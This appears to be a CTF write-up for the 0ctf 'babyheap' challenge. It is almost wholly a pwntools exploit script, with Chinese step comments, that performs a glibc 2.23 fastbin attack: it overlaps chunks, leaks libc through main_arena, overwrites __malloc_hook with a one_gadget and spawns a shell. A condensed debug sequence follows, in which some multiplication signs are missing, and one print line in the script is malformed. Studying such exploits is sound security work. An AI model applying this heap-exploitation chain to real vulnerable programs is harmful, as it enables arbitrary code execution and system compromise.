fastbin attack
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| from pwn import * import sys context.terminal = ['tmux','splitw','-h'] context.log_level = "debug"
ENV = {"LD_PRELOAD":"/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6"} p = process(["/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so","./0ctfbabyheap"],env={"LD_PRELOAD":"/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6"})
def alloc(size): p.recvuntil("Command: ") p.sendline("1") p.recvuntil("Size: ") p.sendline(str(size)) def fill(idx, content): p.recvuntil("Command: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Size: ") p.sendline(str(len(content))) p.recvuntil("Content: ") p.send(content) def free(idx): p.recvuntil("Command: ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(idx)) def dump(idx): p.recvuntil("Command: ") p.sendline("4") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvline() return p.recvline() print("======================分配5个chunk=========================") alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x10) alloc(0x80) gdb.attach(p,gdbscript='b *$rebase(0x147)') print("======================= 释放 1,2 chunk =======================") free(1) free(2) payload = p64(0)*3 payload += p64(0x21) payload += p64(0)*3 payload += p64(0x21) payload += p8(0x80) print("======================== 用0X80覆盖chunk2的 fd===================") fill(0, payload) payload = p64(0)*3 payload += p64(0x21) print("======================== 用0x21覆盖 chunk4的size避免malloc memory corruption===================") fill(3, payload) print("========================alloc 1,2,index 2 is small chunk address申请chunk1,2,chunk2由于fd被0x80覆盖,因此会申请到chunk4,导致index2和4指向同一个chunk========================") alloc(0x10) alloc(0x10) payload = p64(0)*3 payload += p64(0x91) print("========================恢复chunk4的size========================") fill(3, payload) print("========================避免free进入top chunk========================") alloc(0x80) print("========================释放chunk4,此时chunk4 的fd为main_arena========================") free(4) print("========================由于index同样指向chunk4,因此可以通过dump2 泄露main_arena========================") libc_base = u64(dump(2)[:8].strip().ljust(8, b"\x00"))-0x3c4b78 log.info("libc_base: "+hex(libc_base)) print("========================重新申请chunk4,size为0x60,因此属于fastbins,绕过small bins的检查========================") alloc(0x60) print("free chunk 4") free(4) payload = p64(libc_base+0x3c4aed) print("========================覆盖chunk4的fd为malloc_hook========================") fill(2, payload) print("========================此时fastbins[0x70]->chunk4->main_arena========================") alloc(0x60) print(========================"分配到chunk6 main_arena"========================) alloc(0x60) payload = p8(0)*3 payload += p64(0)*2 payload += p64(libc_base+0x4527a) log.info("one_gadget: "+hex(libc_base+0x4527a)) print("========================malloc hook========================") fill(6, payload) print("exec shell by call malloc") alloc(255) p.interactive()
|
debug
alloc(0x10)#chunk0
alloc(0x10)#chunk1
alloc(0x10)#chunk2
alloc(0x10)#chunk3
alloc(0x80)#chunk4
free(1)
free(2)
payload = p64(0)3 + p64(0x21) + p64(0)3 + p64(0x21) + p8(0x80)
fill(0, payload)
payload = p64(0)3 + p64(0x21)
fill(3, payload)
alloc(0x10)#chunk1
alloc(0x10)#chunk2
payload = p64(0)3 + p64(0x91)
fill(3, payload)
alloc(0x80)#chunk 5
free(4)
dump(2)
alloc(0x60)
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
alloc(0x60) 0x80
alloc(0x60) 0xfd(malloc hook)
fill(6, payload)
alloc(255)